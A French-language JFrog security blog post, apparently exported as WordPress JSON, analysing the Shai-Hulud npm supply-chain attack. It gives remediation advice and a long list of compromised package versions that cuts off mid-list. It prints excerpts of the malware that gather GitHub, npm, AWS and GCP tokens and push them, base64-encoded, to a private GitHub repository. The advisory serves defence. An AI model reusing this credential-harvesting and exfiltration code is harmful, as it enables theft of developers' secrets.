{"id":158926,"date":"2025-09-16T21:03:27","date_gmt":"2025-09-16T19:03:27","guid":{"rendered":"https:\/\/jfrog.com\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/"},"modified":"2025-12-02T17:51:25","modified_gmt":"2025-12-02T15:51:25","slug":"shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected","status":"publish","type":"post","link":"https:\/\/jfrog.com\/fr\/blog\/shai-hulud-npm-supply-chain-attack-new-compromised-packages-detected\/","title":{"rendered":"\u200bAttaque de la cha\u00eene d\u2019approvisionnement npm de Shai-Hulud \u2013 d\u00e9tection de nouveaux packages compromis"},"content":{"rendered":"<p><img decoding=\"async\" class=\"size-full wp-image-156597 aligncenter\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2025\/08\/26212322\/Sec-Research_863x300.png\" alt=\"\" width=\"863\" height=\"300\" \/><\/p>\n<p>R\u00e9cemment, l\u2019\u00e9cosyst\u00e8me npm a \u00e9t\u00e9 confront\u00e9 \u00e0 sa troisi\u00e8me attaque de grande ampleur. Suite \u00e0 la r\u00e9cente<a href=\"https:\/\/x.com\/JFrogSecurity\/status\/1960811961760759911\"> compromission des packages nx<\/a> \u00a0et d\u2019une autre vague visant des packages<a href=\"https:\/\/www.npmjs.com\/package\/backslash\"> populaires<\/a>, le registre a de nouveau \u00e9t\u00e9 attaqu\u00e9.<\/p>\n<p>Le premier signalement est venu de Daniel Pereira, qui a identifi\u00e9 un package<a href=\"https:\/\/www.linkedin.com\/posts\/daniel-pereira-b17a27160_npm-profile-activity-7373489836437114880-D9ma\"> compromis<\/a>\u00a0: @ctrl\/tinycolor@4.1.1. D\u2019ici la fin de la journ\u00e9e, les scanners anti-malware de JFrog avaient identifi\u00e9 164 packages malveillants distincts, r\u00e9partis sur 338 versions infect\u00e9es, contenant plusieurs variantes de la m\u00eame charge utile de vol de donn\u00e9es.<\/p>\n<h2>Charge utile de vol de donn\u00e9es Shai-Hulud<\/h2>\n<p>La charge utile malveillante est int\u00e9gr\u00e9e dans un fichier bundle.js, empackag\u00e9 en tant qu\u2019application Webpack. Bien qu\u2019il promette d\u2019optimiser le syst\u00e8me de l\u2019utilisateur, sa fonctionnalit\u00e9 r\u00e9elle est beaucoup plus dangereuse.<\/p>\n<pre class=\"language-json\"><code>{\r\n  name: \"System Info App\",\r\n  version: \"1.0.0\",\r\n  description: \"Optimizes system.\"\r\n}<\/code><\/pre>\n<p>Au lieu d\u2019optimiser le syst\u00e8me, il commence par recueillir l\u2019ensemble des informations sur la machine, y compris les identifiants GitHub, npm, AWS et GCP. En plus des plateformes prises en charge, il t\u00e9l\u00e9charge et ex\u00e9cute<a href=\"https:\/\/github.com\/trufflesecurity\/trufflehog\"> TruffleHog<\/a>, un utilitaire open source qui recherche et rassemble les types de secrets susmentionn\u00e9s.<\/p>\n<pre class=\"language-javascript\"><code>\r\nconst system_info = {\r\n        application: t.getConfig(),\r\n        system: {\r\n            platform: r.platform,\r\n            architecture: r.architecture,\r\n            platformDetailed: r.platformRaw,\r\n            architectureDetailed: r.archRaw\r\n        },\r\n        runtime: runtime_info,\r\n        environment: process.env,\r\n        modules: {\r\n            github: {\r\n                authenticated: GitHubModule.isAuthenticated(),\r\n                token: GitHubModule.getCurrentToken()\r\n            },\r\n            aws: {\r\n                secrets: ue\r\n            },\r\n            gcp: {\r\n                secrets: de\r\n            },\r\n            truffleHog: truffle_hog_dump,\r\n            npm: {\r\n                token: npm_token,\r\n                authenticated: npm_authenticated,\r\n                username: npm_user\r\n            }\r\n        }\r\n    };\r\n<\/code><\/pre>\n<p><span style=\"font-weight: 400;\">Une fois les donn\u00e9es collect\u00e9es, il tente de s\u2019authentifier sous le compte utilisateur existant et, en cas de succ\u00e8s, cr\u00e9e un r\u00e9f\u00e9rentiel nomm\u00e9 Shai-Hulud avec le contenu vol\u00e9, encod\u00e9 plusieurs fois \u00e0 l\u2019aide de base64.\u00a0<\/span><\/p>\n<pre class=\"language-javascript\"><code>\r\nasync makeRepo(t, r) {\r\n        const n = (await this.octokit.rest.repos.createForAuthenticatedUser({\r\n            name: t,\r\n            description: \"Shai-Hulud Repository.\",\r\n            private: !0,\r\n        })).data;\r\n        return await new Promise(t =&gt; setTimeout(t, 3e3)), r &amp;&amp; await this.octokit.rest.repos.createOrUpdateFileContents({\r\n            path: \"data.json\",\r\n            message: \"Initial commit\",\r\n            content: Buffer.from(Buffer.from(Buffer.from(r).toString(\"base64\")).toString(\"base64\")).toString(\"base64\")\r\n        })\r\n}\r\n\r\n\r\nif GitHubModule.isAuthenticated() &amp; ! GitHubModule.repoExists(\"Shai-Hulud\") {\r\n   await GitHubModule.makeRepo(\"Shai-Hulud\", formatOutput(pe)\r\n   exitWithCode(0)\r\n}\r\n<\/code><\/pre>\n<p><img decoding=\"async\" class=\"alignnone size-full wp-image-158251\" src=\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2025\/09\/16200956\/Picture1.png\" alt=\"\" width=\"936\" height=\"422\" \/><\/p>\n<p><span style=\"font-weight: 400;\">Nous avons observ\u00e9 huit variantes de la charge utile susmentionn\u00e9e. Bien que la fonctionnalit\u00e9 principale reste identique, certaines versions pr\u00e9sentent de l\u00e9g\u00e8res diff\u00e9rences, ce qui sugg\u00e8re des ajustements it\u00e9ratifs de la part de l\u2019attaquant au fil de la campagne.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Par exemple, certaines versions rendent le d\u00e9p\u00f4t \u00ab\u00a0Shai-Hulud\u00a0\u00bb priv\u00e9, le cachant ainsi de toute d\u00e9couverte. Une autre version tente \u00e9galement de voler des informations d\u2019identification Azure en plus des quatre types d\u2019informations d\u2019identification mentionn\u00e9s.<\/span><\/p>\n<h1><b>Que doivent faire les utilisateurs concern\u00e9s\u00a0?<\/b><\/h1>\n<p><span style=\"font-weight: 400;\">Si vous avez install\u00e9 l\u2019un des packages mentionn\u00e9s dans la rubrique \u00ab\u00a0Packages compromis\u00a0\u00bb, la charge utile malveillante peut avoir exfiltr\u00e9 des informations sensibles de votre syst\u00e8me.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Effectuez les op\u00e9rations suivantes\u00a0:<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Proc\u00e9dez \u00e0 la rotation de tous les jetons d\u2019acc\u00e8s stock\u00e9s sur la machine affect\u00e9e pour les fournisseurs suivants : GitHub, NPM, AWS, GCP et Azure.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\">Proc\u00e9dez \u00e0 la rotation de tous les jetons d\u2019acc\u00e8s stock\u00e9s sur la machine affect\u00e9e qui peuvent \u00eatre identifi\u00e9s par TruffleHog. Les fournisseurs pris en charge peuvent \u00eatre recherch\u00e9s dans le<a href=\"https:\/\/github.com\/trufflesecurity\/trufflehog\/tree\/main\/pkg\/detectors\"> d\u00e9p\u00f4t GitHub de Trufflehog<\/a>.<\/li>\n<\/ol>\n<div style=\"border-top: 1px solid #40be46; border-bottom: 1px solid #40be46; padding: 0.5rem 0; margin-bottom: 1rem;\"><strong>Remarque :<\/strong> pour d\u00e9fendre de mani\u00e8re proactive votre cha\u00eene d\u2019approvisionnement logicielle, consultez <a href=\"https:\/\/jfrog.com\/fr\/curation\/\">JFrog Curation<\/a>. JFrog Curation permet de bloquer rapidement les packages de logiciels open source malveillants ou risqu\u00e9s avant m\u00eame qu\u2019ils n\u2019entrent dans votre cha\u00eene d\u2019approvisionnement logicielle. Pour en savoir plus, <a href=\"https:\/\/jfrog.com\/fr\/platform\/schedule-a-demo\/\">r\u00e9servez une d\u00e9monstration<\/a>.<\/div>\n<h2>Qui est \u00e0 l\u2019origine de cette attaque\u00a0?<\/h2>\n<p><span style=\"font-weight: 400;\">L\u2019utilisation de d\u00e9p\u00f4ts GitHub pour stocker les donn\u00e9es vol\u00e9es refl\u00e8te les techniques observ\u00e9es lors de la pr\u00e9c\u00e9dente compromission de NX\u00a0CLI. Cependant, il ne suffit pas de dire si ces incidents sont le fait d\u2019un m\u00eame acteur. L\u2019outillage et la conception de la charge utile sont similaires, mais l\u2019attribution reste incertaine.<\/span><\/p>\n<h2>Packages compromis<\/h2>\n<h3>Rapport original<\/h3>\n<p><span style=\"font-weight: 400;\">Le rapport original contenait ces versions de packages compromises\u00a0:\u00a0<\/span><\/p>\n<p>angulartics2@14.1.2<\/p>\n<p>@ctrl\/deluge@7.2.2<\/p>\n<p>@ctrl\/golang-template@1.4.3<\/p>\n<p>@ctrl\/magnet-link@4.0.4<\/p>\n<p>@ctrl\/ngx-codemirror@7.0.2<\/p>\n<p>@ctrl\/ngx-csv@6.0.2<\/p>\n<p>@ctrl\/ngx-emoji-mart@9.2.2<\/p>\n<p>@ctrl\/ngx-rightclick@4.0.2<\/p>\n<p>@ctrl\/qbittorrent@9.7.2<\/p>\n<p>@ctrl\/react-adsense@2.0.2<\/p>\n<p>@ctrl\/shared-torrent@6.3.2<\/p>\n<p>@ctrl\/tinycolor@4.1.1, @4.1.2<\/p>\n<p>@ctrl\/torrent-file@4.1.2<\/p>\n<p>@ctrl\/transmission@7.3.1<\/p>\n<p>@ctrl\/ts-base32@4.0.2<\/p>\n<p>encounter-playground@0.0.5<\/p>\n<p>json-rules-engine-simplified@0.2.4, 0.2.1<\/p>\n<p>koa2-swagger-ui@5.11.2, 5.11.1<\/p>\n<p>@nativescript-community\/gesturehandler@2.0.35<\/p>\n<p>@nativescript-community\/sentry 4.6.43<\/p>\n<p>@nativescript-community\/text@1.6.13<\/p>\n<p>@nativescript-community\/ui-collectionview@6.0.6<\/p>\n<p>@nativescript-community\/ui-drawer@0.1.30<\/p>\n<p>@nativescript-community\/ui-image@4.5.6<\/p>\n<p>@nativescript-community\/ui-material-bottomsheet@7.2.72<\/p>\n<p>@nativescript-community\/ui-material-core@7.2.76<\/p>\n<p>@nativescript-community\/ui-material-core-tabs@7.2.76<\/p>\n<p>ngx-color@10.0.2<\/p>\n<p>ngx-toastr@19.0.2<\/p>\n<p>ngx-trend@8.0.1<\/p>\n<p>react-complaint-image@0.0.35<\/p>\n<p>react-jsonschema-form-conditionals@0.3.21<\/p>\n<p>react-jsonschema-form-extras@1.0.4<\/p>\n<p>rxnt-authentication@0.0.6<\/p>\n<p>rxnt-healthchecks-nestjs@1.0.5<\/p>\n<p>rxnt-kue@1.0.7<\/p>\n<p>swc-plugin-component-annotate@1.9.2<\/p>\n<p>ts-gaussian@3.0.6<\/p>\n<h2>Packages compromis nouvellement d\u00e9tect\u00e9s (en cours)<\/h2>\n<p>Nous continuons \u00e0 suivre l\u2019\u00e9volution de la compromission d\u2019autres packages dans le cadre de cette campagne. Notre infrastructure de surveillance a d\u00e9tect\u00e9 d\u2019autres packages malveillants contenant la m\u00eame charge utile (ou des variations de celle-ci) avec des centaines de versions\u00a0:<\/p>\n<p>@ahmedhfarag\/ngx-perfect-scrollbar@20.0.20<br \/>\n@ahmedhfarag\/ngx-virtual-scroller@4.0.4<br \/>\n@art-ws\/common@2.0.22<br \/>\n@art-ws\/common@2.0.28<br \/>\n@art-ws\/config-eslint@2.0.4<br \/>\n@art-ws\/config-eslint@2.0.5<br \/>\n@art-ws\/config-ts@2.0.7<br \/>\n@art-ws\/config-ts@2.0.8<br \/>\n@art-ws\/db-context@2.0.21<br \/>\n@art-ws\/db-context@2.0.24<br \/>\n@art-ws\/di@2.0.28<br \/>\n@art-ws\/di@2.0.32<br \/>\n@art-ws\/di-node@2.0.13<br \/>\n@art-ws\/eslint@1.0.5<br \/>\n@art-ws\/eslint@1.0.6<br \/>\n@art-ws\/fastify-http-server@2.0.24<br \/>\n@art-ws\/fastify-http-server@2.0.27<br \/>\n@art-ws\/http-server@2.0.21<br \/>\n@art-ws\/http-server@2.0.25<br \/>\n@art-ws\/openapi@0.1.12<br \/>\n@art-ws\/openapi@0.1.9<br \/>\n@art-ws\/package-base@1.0.5<br \/>\n@art-ws\/package-base@1.0.6<br \/>\n@art-ws\/prettier@1.0.5<br \/>\n@art-ws\/prettier@1.0.6<br \/>\n@art-ws\/slf@2.0.15<br \/>\n@art-ws\/slf@2.0.22<br \/>\n@art-ws\/ssl-info@1.0.10<br \/>\n@art-ws\/ssl-info@1.0.9<br \/>\n@art-ws\/web-app@1.0.3<br \/>\n@art-ws\/web-app@1.0.4<br \/>\n@basic-ui-components-stc\/basic-ui-components@1.0.5<br \/>\n@crowdstrike\/commitlint@8.1.1<br \/>\n@crowdstrike\/commitlint@8.1.2<br \/>\n@crowdstrike\/falcon-shoelace@0.4.1<br \/>\n@crowdstrike\/falcon-shoelace@0.4.2<br \/>\n@crowdstrike\/foundry-js@0.19.1<br \/>\n@crowdstrike\/foundry-js@0.19.2<br \/>\n@crowdstrike\/glide-core@0.34.2<br \/>\n@crowdstrike\/glide-core@0.34.3<br \/>\n@crowdstrike\/logscale-dashboard@1.205.1<br \/>\n@crowdstrike\/logscale-dashboard@1.205.2<br \/>\n@crowdstrike\/logscale-file-editor@1.205.1<br \/>\n@crowdstrike\/logscale-file-editor@1.205.2<br \/>\n@crowdstrike\/logscale-parser-edit@1.205.1<br \/>\n@crowdstrike\/logscale-parser-edit@1.205.2<br \/>\n@crowdstrike\/logscale-search@1.205.1<br \/>\n@crowdstrike\/logscale-search@1.205.2<br \/>\n@crowdstrike\/tailwind-toucan-base@5.0.1<br \/>\n@crowdstrike\/tailwind-toucan-base@5.0.2<br \/>\n@ctrl\/deluge@7.2.1<br \/>\n@ctrl\/golang-template@1.4.2<br \/>\n@ctrl\/magnet-link@4.0.3<br \/>\n@ctrl\/ngx-codemirror@7.0.1<br \/>\n@ctrl\/ngx-csv@6.0.1<br \/>\n@ctrl\/ngx-emoji-mart@9.2.1<br \/>\n@ctrl\/ngx-rightclick@4.0.1<br \/>\n@ctrl\/qbittorrent@9.7.1<br \/>\n@ctrl\/react-adsense@2.0.1<br \/>\n@ctrl\/shared-torrent@6.3.1<br \/>\n@ctrl\/tinycolor@4.1.1<br \/>\n@ctrl\/tinycolor@4.1.2<br \/>\n@ctrl\/torrent-file@4.1.1<br \/>\n@ctrl\/ts-base32@4.0.1<br \/>\n@hestjs\/core@0.2.1<br \/>\n@hestjs\/cqrs@0.1.6<br \/>\n@hestjs\/demo@0.1.2<br \/>\n@hestjs\/eslint-config@0.1.2<br \/>\n@hestjs\/logger@0.1.6<br \/>\n@hestjs\/scalar@0.1.7<br \/>\n@hestjs\/validation@0.1.6<br \/>\n@nativescript-community\/arraybuffers@1.1.6<br \/>\n@nativescript-community\/arraybuffers@1.1.7<br \/>\n@nativescript-community\/arraybuffers@1.1.8<br \/>\n@nativescript-community\/perms@3.0.5<br \/>\n@nativescript-community\/perms@3.0.6<br \/>\n@nativescript-community\/perms@3.0.7<br \/>\n@nativescript-community\/perms@3.0.8<br \/>\n@nativescript-community\/perms@3.0.9<br \/>\n@nativescript-community\/sentry@4.6.43<br \/>\n@nativescript-community\/sqlite@3.5.3<br \/>\n@nativescript-community\/sqlite@3.5.4<br \/>\n@nativescript-community\/sqlite@3.5.5<br \/>\n@nativescript-community\/text@1.6.10<br \/>\n@nativescript-community\/text@1.6.11<br \/>\n@nativescript-community\/text@1.6.12<br \/>\n@nativescript-community\/text@1.6.9<br \/>\n@nativescript-community\/typeorm@0.2.30<br \/>\n@nativescript-community\/typeorm@0.2.31<br \/>\n@nativescript-community\/typeorm@0.2.32<br \/>\n@nativescript-community\/typeorm@0.2.33<br \/>\n@nativescript-community\/ui-document-picker@1.1.27<br \/>\n@nativescript-community\/ui-document-picker@1.1.28<br \/>\n@nativescript-community\/ui-label@1.3.35<br \/>\n@nativescript-community\/ui-label@1.3.36<br \/>\n@nativescript-community\/ui-label@1.3.37<br \/>\n@nativescript-community\/ui-material-bottom-navigation@7.2.72<br \/>\n@nativescript-community\/ui-material-bottom-navigation@7.2.73<br \/>\n@nativescript-community\/ui-material-bottom-navigation@7.2.74<br \/>\n@nativescript-community\/ui-material-bottom-navigation@7.2.75<br \/>\n@nativescript-community\/ui-material-core@7.2.72<br \/>\n@nativescript-community\/ui-material-core@7.2.73<br \/>\n@nativescript-community\/ui-material-core@7.2.74<br \/>\n@nativescript-community\/ui-material-core@7.2.75<br \/>\n@nativescript-community\/ui-material-core-tabs@7.2.72<br \/>\n@nativescript-community\/ui-material-core-tabs@7.2.73<br \/>\n@nativescript-community\/ui-material-core-tabs@7.2.74<br \/>\n@nativescript-community\/ui-material-core-tabs@7.2.75<br \/>\n@nativescript-community\/ui-material-ripple@7.2.72<br \/>\n@nativescript-community\/ui-material-ripple@7.2.73<br \/>\n@nativescript-community\/ui-material-ripple@7.2.74<br \/>\n@nativescript-community\/ui-material-ripple@7.2.75<br \/>\n@nativescript-community\/ui-material-tabs@7.2.72<br \/>\n@nativescript-community\/ui-material-tabs@7.2.73<br \/>\n@nativescript-community\/ui-material-tabs@7.2.74<br \/>\n@nativescript-community\/ui-material-tabs@7.2.75<br \/>\n@nativescript-community\/ui-pager@14.1.35<br \/>\n@nativescript-community\/ui-pager@14.1.36<br \/>\n@nativescript-community\/ui-pager@14.1.37<br \/>\n@nativescript-community\/ui-pager@14.1.38<br \/>\n@nativescript-community\/ui-pulltorefresh@2.5.4<br \/>\n@nativescript-community\/ui-pulltorefresh@2.5.5<br \/>\n@nativescript-community\/ui-pulltorefresh@2.5.6<br \/>\n@nativescript-community\/ui-pulltorefresh@2.5.7<br \/>\n@nexe\/config-manager@0.1.1<br \/>\n@nexe\/eslint-config@0.1.1<br \/>\n@nexe\/logger@0.1.3<br \/>\n@nstudio\/angular@20.0.4<br \/>\n@nstudio\/angular@20.0.5<br \/>\n@nstudio\/angular@20.0.6<br \/>\n@nstudio\/focus@20.0.4<br \/>\n@nstudio\/focus@20.0.5<br \/>\n@nstudio\/focus@20.0.6<br \/>\n@nstudio\/nativescript-checkbox@2.0.6<br \/>\n@nstudio\/nativescript-checkbox@2.0.7<br \/>\n@nstudio\/nativescript-checkbox@2.0.8<br \/>\n@nstudio\/nativescript-checkbox@2.0.9<br \/>\n@nstudio\/nativescript-loading-indicator@5.0.1<br \/>\n@nstudio\/nativescript-loading-indicator@5.0.2<br \/>\n@nstudio\/nativescript-loading-indicator@5.0.3<br \/>\n@nstudio\/nativescript-loading-indicator@5.0.4<br \/>\n@nstudio\/ui-collectionview@5.1.11<br \/>\n@nstudio\/ui-collectionview@5.1.12<br \/>\n@nstudio\/ui-collectionview@5.1.13<br \/>\n@nstudio\/ui-collectionview@5.1.14<br \/>\n@nstudio\/web@20.0.4<br \/>\n@nstudio\/web-angular@20.0.4<br \/>\n@nstudio\/xplat@20.0.4<br \/>\n@nstudio\/xplat@20.0.5<br \/>\n@nstudio\/xplat@20.0.6<br \/>\n@nstudio\/xplat@20.0.7<br \/>\n@nstudio\/xplat-utils@20.0.4<br \/>\n@nstudio\/xplat-utils@20.0.5<br \/>\n@nstudio\/xplat-utils@20.0.6<br \/>\n@nstudio\/xplat-utils@20.0.7<br \/>\n@operato\/board@9.0.35<br \/>\n@operato\/board@9.0.36<br \/>\n@operato\/board@9.0.37<br \/>\n@operato\/board@9.0.38<br \/>\n@operato\/board@9.0.39<br \/>\n@operato\/board@9.0.40<br \/>\n@operato\/board@9.0.41<br \/>\n@operato\/board@9.0.42<br \/>\n@operato\/board@9.0.43<br \/>\n@operato\/board@9.0.44<br \/>\n@operato\/board@9.0.45<br \/>\n@operato\/board@9.0.46<br \/>\n@operato\/board@9.0.47<br \/>\n@operato\/board@9.0.48<br \/>\n@operato\/board@9.0.49<br \/>\n@operato\/board@9.0.50<br \/>\n@operato\/board@9.0.51<br \/>\n@operato\/data-grist@9.0.29<br \/>\n@operato\/data-grist@9.0.35<br \/>\n@operato\/data-grist@9.0.36<br \/>\n@operato\/data-grist@9.0.37<br \/>\n@operato\/graphql@9.0.22<br \/>\n@operato\/graphql@9.0.35<br \/>\n@operato\/graphql@9.0.36<br \/>\n@operato\/graphql@9.0.37<br \/>\n@operato\/graphql@9.0.38<br \/>\n@operato\/graphql@9.0.39<br \/>\n@operato\/graphql@9.0.40<br \/>\n@operato\/graphql@9.0.41<br \/>\n@operato\/graphql@9.0.42<br \/>\n@operato\/graphql@9.0.43<br \/>\n@operato\/graphql@9.0.44<br \/>\n@operato\/graphql@9.0.45<br \/>\n@operato\/graphql@9.0.46<br \/>\n@operato\/graphql@9.0.47<br \/>\n@operato\/graphql@9.0.48<br \/>\n@operato\/graphql@9.0.49<br \/>\n@operato\/graphql@9.0.50<br \/>\n@operato\/graphql@9.0.51<br \/>\n@operato\/headroom@9.0.2<br \/>\n@operato\/headroom@9.0.35<br \/>\n@operato\/headroom@9.0.36<br \/>\n@operato\/headroom@9.0.37<br \/>\n@operato\/help@9.0.35<br \/>\n@operato\/help@9.0.36<br \/>\n@operato\/help@9.0.37<br \/>\n@operato\/help@9.0.38<br \/>\n@operato\/help@9.0.39<br \/>\n@operato\/help@9.0.40<br \/>\n@operato\/help@9.0.41<br \/>\n@operato\/help@9.0.42<br \/>\n@operato\/help@9.0.43<br \/>\n@operato\/help@9.0.44<br \/>\n@operato\/help@9.0.45<br \/>\n@operato\/help@9.0.46<br \/>\n@operato\/help@9.0.47<br \/>\n@operato\/help@9.0.48<br \/>\n@operato\/help@9.0.49<br \/>\n@operato\/help@9.0.50<br \/>\n@operato\/help@9.0.51<br \/>\n@operato\/i18n@9.0.35<br \/>\n@operato\/i18n@9.0.36<br \/>\n@operato\/i18n@9.0.37<br \/>\n@operato\/input@9.0.35<br \/>\n@operato\/input@9.0.36<br \/>\n@operato\/input@9.0.37<br \/>\n@operato\/input@9.0.38<br \/>\n@operato\/input@9.0.39<br \/>\n@operato\/input@9.0.40<br \/>\n@operato\/input@9.0.41<br \/>\n@operato\/input@9.0.42<br \/>\n@operato\/input@9.0.43<br \/>\n@operato\/input@9.0.44<br \/>\n@operato\/input@9.0.45<br \/>\n@operato\/input@9.0.46<br \/>\n@operato\/input@9.0.47<br \/>\n@operato\/input@9.0.48<br \/>\n@operato\/layout@9.0.35<br \/>\n@operato\/layout@9.0.37<br \/>\n@operato\/popup@9.0.35<br \/>\n@operato\/popup@9.0.36<br \/>\n@operato\/popup@9.0.37<br \/>\n@operato\/popup@9.0.38<br \/>\n@operato\/popup@9.0.39<br \/>\n@operato\/popup@9.0.40<br \/>\n@operato\/popup@9.0.41<br \/>\n@operato\/popup@9.0.42<br \/>\n@operato\/popup@9.0.43<br \/>\n@operato\/popup@9.0.44<br \/>\n@operato\/popup@9.0.45<br \/>\n@operato\/popup@9.0.46<br \/>\n@operato\/popup@9.0.47<br \/>\n@operato\/popup@9.0.48<br \/>\n@operato\/popup@9.0.49<br \/>\n@operato\/popup@9.0.50<br \/>\n@operato\/popup@9.0.51<br \/>\n@operato\/pull-to-refresh@9.0.35<br \/>\n@operato\/pull-to-refresh@9.0.36<br \/>\n@operato\/pull-to-refresh@9.0.37<br \/>\n@operato\/pull-to-refresh@9.0.38<br \/>\n@operato\/pull-to-refresh@9.0.39<br \/>\n@operato\/pull-to-refresh@9.0.40<br \/>\n@operato\/pull-to-refresh@9.0.41<br \/>\n@operato\/pull-to-refresh@9.0.42<br \/>\n@operato\/pull-to-refresh@9.0.43<br \/>\n@operato\/pull-to-refresh@9.0.44<br \/>\n@operato\/pull-to-refresh@9.0.45<br \/>\n@operato\/pull-to-refresh@9.0.46<br \/>\n@operato\/pull-to-refresh@9.0.47<br \/>\n@operato\/shell@9.0.22<br \/>\n@operato\/shell@9.0.35<br \/>\n@operato\/shell@9.0.36<br \/>\n@operato\/shell@9.0.37<br \/>\n@operato\/shell@9.0.38<br \/>\n@operato\/shell@9.0.39<br \/>\n@operato\/styles@9.0.2<br \/>\n@operato\/styles@9.0.35<br \/>\n@operato\/styles@9.0.36<br \/>\n@operato\/styles@9.0.37<br \/>\n@operato\/utils@9.0.22<br \/>\n@operato\/utils@9.0.35<br \/>\n@operato\/utils@9.0.36<br \/>\n@operato\/utils@9.0.37<br \/>\n@operato\/utils@9.0.38<br \/>\n@operato\/utils@9.0.39<br \/>\n@operato\/utils@9.0.40<br \/>\n@operato\/utils@9.0.41<br \/>\n@operato\/utils@9.0.42<br \/>\n@operato\/utils@9.0.43<br \/>\n@operato\/utils@9.0.44<br \/>\n@operato\/utils@9.0.45<br \/>\n@operato\/utils@9.0.46<br \/>\n@operato\/utils@9.0.47<br \/>\n@operato\/utils@9.0.48<br \/>\n@operato\/utils@9.0.49<br \/>\n@operato\/utils@9.0.50<br \/>\n@operato\/utils@9.0.51<br \/>\n@teselagen\/bio-parsers@0.4.29<br \/>\n@teselagen\/bio-parsers@0.4.30<br \/>\n@teselagen\/bounce-loader@0.3.16<br \/>\n@teselagen\/bounce-loader@0.3.17<br \/>\n@teselagen\/file-utils@0.3.21<br \/>\n@teselagen\/file-utils@0.3.22<br \/>\n@teselagen\/liquibase-tools@0.4.1<br \/>\n@teselagen\/ove@0.7.39<br \/>\n@teselagen\/ove@0.7.40<br \/>\n@teselagen\/range-utils@0.3.14<br \/>\n@teselagen\/range-utils@0.3.15<br \/>\n@teselagen\/react-list@0.8.19<br \/>\n@teselagen\/react-list@0.8.20<br \/>\n@teselagen\/react-table@6.10.19<br \/>\n@teselagen\/react-table@6.10.20<br \/>\n@teselagen\/react-table@6.10.21<br \/>\n@teselagen\/react-table@6.10.22<br \/>\n@teselagen\/sequence-utils@0.3.33<br \/>\n@teselagen\/sequence-utils@0.3.34<br \/>\n@teselagen\/ui@0.9.10<br \/>\n@teselagen\/ui@0.9.9<br \/>\n@thangved\/callback-window@1.1.4<br \/>\n@things-factory\/attachment-base@9.0.42<br \/>\n@things-factory\/attachment-base@9.0.43<br \/>\n@things-factory\/attachment-base@9.0.44<br \/>\n@things-factory\/attachment-base@9.0.45<br \/>\n@things-factory\/attachment-base@9.0.46<br \/>\n@things-factory\/attachment-base@9.0.47<br \/>\n@things-factory\/attachment-base@9.0.48<br \/>\n@things-factory\/attachment-base@9.0.49<br \/>\n@things-factory\/attachment-base@9.0.50<br \/>\n@things-factory\/attachment-base@9.0.51<br \/>\n@things-factory\/attachment-base@9.0.52<br \/>\n@things-factory\/attachment-base@9.0.53<br \/>\n@things-factory\/attachment-base@9.0.54<br \/>\n@things-factory\/attachment-base@9.0.55<br \/>\n@things-factory\/auth-base@9.0.42<br \/>\n@things-factory\/auth-base@9.0.43<br \/>\n@things-factory\/auth-base@9.0.44<br \/>\n@things-factory\/auth-base@9.0.45<br \/>\n@things-factory\/email-base@9.0.42<br \/>\n@things-factory\/email-base@9.0.43<br \/>\n@things-factory\/email-base@9.0.44<br \/>\n@things-factory\/email-base@9.0.45<br \/>\n@things-factory\/email-base@9.0.46<br \/>\n@things-factory\/email-base@9.0.47<br \/>\n@things-factory\/email-base@9.0.48<br \/>\n@things-factory\/email-base@9.0.49<br \/>\n@things-factory\/email-base@9.0.50<br \/>\n@things-factory\/email-base@9.0.51<br \/>\n@things-factory\/email-base@9.0.52<br \/>\n@things-factory\/email-base@9.0.53<br \/>\n@things-factory\/email-base@9.0.54<br \/>\n@things-factory\/email-base@9.0.55<br \/>\n@things-factory\/email-base@9.0.56<br \/>\n@things-factory\/email-base@9.0.57<br \/>\n@things-factory\/email-base@9.0.58<br \/>\n@things-factory\/email-base@9.0.59<br \/>\n@things-factory\/env@9.0.42<br \/>\n@things-factory\/env@9.0.43<br \/>\n@things-factory\/env@9.0.44<br \/>\n@things-factory\/env@9.0.45<br \/>\n@things-factory\/integration-base@9.0.42<br \/>\n@things-factory\/integration-base@9.0.43<br \/>\n@things-factory\/integration-base@9.0.44<br \/>\n@things-factory\/integration-base@9.0.45<br \/>\n@things-factory\/integration-marketplace@9.0.42<br \/>\n@things-factory\/integration-marketplace@9.0.43<br \/>\n@things-factory\/integration-marketplace@9.0.44<br \/>\n@things-factory\/integration-marketplace@9.0.45<br \/>\n@things-factory\/shell@9.0.42<br \/>\n@things-factory\/shell@9.0.43<br \/>\n@things-factory\/shell@9.0.44<br \/>\n@things-factory\/shell@9.0.45<br \/>\n@tnf-dev\/api@1.0.8<br \/>\n@tnf-dev\/core@1.0.8<br \/>\n@tnf-dev\/js@1.0.8<br \/>\n@tnf-dev\/mui@1.0.8<br \/>\n@tnf-dev\/react@1.0.8<br \/>\n@ui-ux-gang\/devextreme-angular-rpk@24.1.7<br \/>\n@ui-ux-gang\/devextreme-rpk@24.1.7<br \/>\n@yoobic\/design-system@6.5.17<br \/>\n@yoobic\/jpeg-camera-es6@1.0.13<br \/>\n@yoobic\/yobi@8.7.53<br \/>\nace-colorpicker-rpk@0.0.14<br \/>\nairchief@0.3.1<br \/>\nairpilot@0.8.8<br \/>\nangulartics2@14.1.1<br \/>\nbrowser-webdriver-downloader@3.0.8<br \/>\ncapacitor-notificationhandler@0.0.2<br \/>\ncapacitor-notificationhandler@0.0.3<br \/>\ncapacitor-plugin-healthapp@0.0.2<br \/>\ncapacitor-plugin-healthapp@0.0.3<br \/>\ncapacitor-plugin-ihealth@1.1.8<br \/>\ncapacitor-plugin-ihealth@1.1.9<br \/>\ncapacitor-plugin-vonage@1.0.2<br \/>\ncapacitor-plugin-vonage@1.0.3<br \/>\ncapacitorandroidpermissions@0.0.4<br \/>\ncapacitorandroidpermissions@0.0.5<br \/>\nconfig-cordova@0.8.5<br \/>\ncordova-plugin-voxeet2@1.0.24<br \/>\ncordova-voxeet@1.0.32<br \/>\ncreate-hest-app@0.1.9<br \/>\ndb-evo@1.1.4<br \/>\ndb-evo@1.1.5<br \/>\ndevextreme-angular-rpk@21.2.8<br \/>\ndevextreme-rpk@21.2.8<br \/>\nember-browser-services@5.0.2<br \/>\nember-browser-services@5.0.3<br 